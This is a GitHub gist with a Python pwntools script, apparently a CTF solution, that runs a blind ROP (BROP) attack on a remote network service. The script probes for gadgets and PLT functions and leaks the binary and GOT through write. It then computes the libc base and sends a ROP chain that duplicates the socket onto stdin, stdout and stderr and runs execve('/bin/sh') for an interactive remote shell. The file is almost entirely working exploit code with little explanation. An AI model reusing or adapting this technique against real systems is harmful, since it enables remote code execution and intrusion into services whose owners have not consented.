Created
March 12, 2019 04:58
-
-
Save theKidOfArcrania/4d0fb3703ebba639353cc467431afa0f to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import threading, sys, struct | |
prefix = 'A' * 0x10 + p64(0x7fff262c0500) | |
crash_probe = 0xffffffff | |
hang_probe = 0x4009aa | |
TEST_PASS = 0 | |
TEST_CRASH = 1 | |
TEST_HANG = 2 | |
TEST_READ = 3 | |
test_names = ['PASS', 'CRASH', 'HANG', 'READ'] | |
def leak_test(*addrs): | |
probes = struct.pack('<' + 'Q' * len(addrs), *addrs) | |
context.log_level = 'warning' | |
p = remote('penguins.cool', 1337) | |
p.recvuntil('say?\n\0') | |
p.send(prefix + probes) | |
p.shutdown('send') | |
try: | |
return p.recv(timeout=2) | |
except: | |
return '' | |
p.close() | |
def _do_test(probes, test_hang=True, test_read=False, do_shutdown=True, timeout=.8): | |
context.log_level = 'warning' | |
p = remote('penguins.cool', 1337) | |
p.recvuntil('say?\n\0') | |
p.send(prefix + probes) | |
if do_shutdown: | |
p.shutdown('send') | |
try: | |
data = p.recv(timeout=timeout) | |
if not data and test_hang: | |
if timeout < 3: | |
return _do_test(probes, test_hang, test_read, do_shutdown, 5) | |
elif do_shutdown: | |
return TEST_HANG | |
else: | |
return TEST_READ | |
except: | |
return TEST_CRASH | |
finally: | |
p.close() | |
if test_read and do_shutdown: | |
return _do_test(probes, test_hang, test_read, False, False, timeout) | |
else: | |
return TEST_PASS | |
def do_test(*addrs): | |
probes = struct.pack('<' + 'Q' * len(addrs), *addrs) | |
ret = _do_test(probes) | |
#print('0x{:016x}: {}'.format(addrs[0], test_names[ret])) | |
return ret | |
def do_test_nohang(*addrs): | |
import struct | |
probes = struct.pack('<' + 'Q' * len(addrs), *addrs) | |
ret = _do_test(probes, False) | |
return ret | |
def probe_is_pop(addr, low_pop, high_pop): | |
if do_test(addr) != TEST_CRASH: | |
return False | |
probing = [addr] + [crash_probe] * (low_pop) | |
probing += [hang_probe] * (high_pop - low_pop + 1) | |
probing += [crash_probe] * 10 | |
if do_test(*tuple(probing)) == TEST_CRASH: | |
return False | |
return True | |
def probe_is_ret(addr): | |
if do_test(addr) != TEST_CRASH: | |
return False | |
if (do_test(addr, hang_probe, crash_probe, crash_probe, crash_probe, | |
crash_probe, crash_probe, crash_probe, crash_probe, ) == TEST_HANG): | |
return True | |
return False | |
def find_pops(low, high): | |
for i in range(low, high): | |
if probe_is_pop(i, 3, 6): | |
print('0x{:08x}: potential BROP'.format(i)) | |
for j in range(3, 7): | |
print(' Testing POP({})'.format(j)) | |
if probe_is_pop(i, j, j): | |
print(' 0x{:08x}: POP({})'.format(i, j)) | |
break | |
else: | |
print('0x{:08x}:'.format(i)) | |
def scan_crash(low, high): | |
for i in range(low, high): | |
probes = [i] + [hang_probe] * 16 | |
if do_test_nohang(*probes) == TEST_CRASH: | |
print('0x{:08x}: CRASH'.format(i)) | |
else: | |
print('0x{:08x}:'.format(i)) | |
def test_call(func, arg1, arg2): | |
probes = [pop_rdi, arg1, pop_rsi_r15, arg2, 0, func, hang_probe] | |
if do_test(*probes) != TEST_CRASH: | |
return True | |
else: | |
return False | |
def print_func_rdx(func, arg1, arg2, arg3_rdx): | |
#probes = [pop_rdi, arg3_rdx, pop_rsi_r15, arg3_rdx, 0, plt_strcmp, pop_rdi, | |
# arg1, pop_rsi_r15, arg2, 0, func] | |
probes = [pop_rdi, arg1, pop_rsi_r15, arg2, 0, func, hang_probe] | |
print(enhex(leak_test(*probes))) | |
def probe_ro_func(): | |
for i in range(low, high, 0x10): | |
print('Testing 0x{:08x}'.format(i)) | |
if test_call(i, elf, 0): | |
print(' PASS (roaddr, 0)') | |
if test_call(i, 0, elf): | |
print(' PASS (0, roaddr)') | |
if test_call(i, elf, elf): | |
print(' PASS (roaddr, roaddr)') | |
if test_call(i, 0, 0): | |
print(' PASS (0, 0)') | |
def probe_write(): | |
for i in range(low, high, 0x10): | |
print('Testing 0x{:08x}'.format(i)) | |
if test_call(i, 4, elf): | |
print(' PASS (4, roaddr)') | |
print('*******') | |
print_func_rdx(i, 4, elf, elf) | |
print('*******') | |
def leak_from(addr): | |
probes = [pop_rdi, 4, pop_rsi_r15, addr, 0, plt_write, 0] | |
print('{:08x}'.format(addr)) | |
return leak_test(*probes) | |
def leak_range(low, high): | |
full = '' | |
while low < high: | |
if high - low >= rdx_val: | |
data = leak_from(low) | |
assert len(data) == rdx_val | |
low += rdx_val | |
full += data | |
else: | |
chop = (rdx_val - (high - low)) | |
data = leak_from(high - rdx_val) | |
assert len(data) == rdx_val | |
full += data | |
break | |
return full | |
def write_to(addr, msg): | |
p.recvuntil('signal') | |
p.send(msg) | |
p.close() | |
#assert do_test(crash_probe) == TEST_CRASH | |
#assert do_test(hang_probe) == TEST_HANG | |
elf = 0x400000 | |
pop_rdi = 0x00400c04 | |
pop_rsi_r15 = 0x00400c02 | |
plt_start = 0x00400880 | |
plt_strcmp = 0x00400950 | |
plt_write = 0x004008c0 | |
rdx_val = 65 | |
str_signal = 0x40053B | |
got_write = 0x602028 | |
libc = ELF('../libc_64.so') | |
off_write = libc.symbols.write | |
off_read = libc.symbols.read | |
off_system = libc.symbols.system | |
off_binsh = next(libc.search('/bin/sh\0')) | |
off_dup2 = libc.symbols.dup2 | |
off_pop_rdx = 0x0000000000001b92 # pop rdx ; ret | |
off_pop_rax = 0x0000000000033544 # pop rax ; ret | |
null = 0x602800 | |
if __name__ == '__main__': | |
#low = int(sys.argv[1], 0) | |
#high = int(sys.argv[2], 0) | |
# First scan for pop rdi/rsi gadgest | |
# find_pops(low, high) | |
# Second search for PLT | |
# scan_crash(low, high) | |
# Probe for various PLT functions. | |
#probe_ro_func() | |
# Now take PLT functions and probe for write! | |
#probe_write() | |
# Now leak binary | |
#with open('leaked.bin', 'w') as f: | |
# f.write(leak_range(low, high)) | |
# Leak some GOT addresses | |
leak = u64(leak_from(got_write)[:8]) | |
context.log_level = 'info' | |
log.success('Leaked at: 0x{:016x}'.format(leak)) | |
libc_base = leak - off_write | |
log.success('Libc base is: 0x{:016x}'.format(libc_base)) | |
libc_read = libc_base + off_read | |
libc_system = libc_base + off_system | |
libc_binsh = libc_base + off_binsh | |
libc_dup2 = libc_base + off_dup2 | |
libc_pop_rdx = libc_base + off_pop_rdx | |
libc_pop_rax = libc_base + off_pop_rax | |
libc_syscall = libc_base + 0x26bf | |
print(enhex(leak_range(libc_binsh, libc_binsh + 0x100))) | |
rop = [ pop_rdi, 4, pop_rsi_r15, 0, 0, libc_dup2, | |
pop_rdi, 4, pop_rsi_r15, 1, 0, libc_dup2, | |
pop_rdi, 4, pop_rsi_r15, 2, 0, libc_dup2, | |
libc_pop_rax, 59, pop_rsi_r15, null, 0, | |
libc_pop_rdx, null, pop_rdi, libc_binsh, libc_syscall] | |
print(rop) | |
probes = struct.pack('<' + 'Q' * len(rop), *rop) | |
p = remote('penguins.cool', 1337) | |
p.recvuntil('say?\n\0') | |
p.send(prefix + probes) | |
p.interactive() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment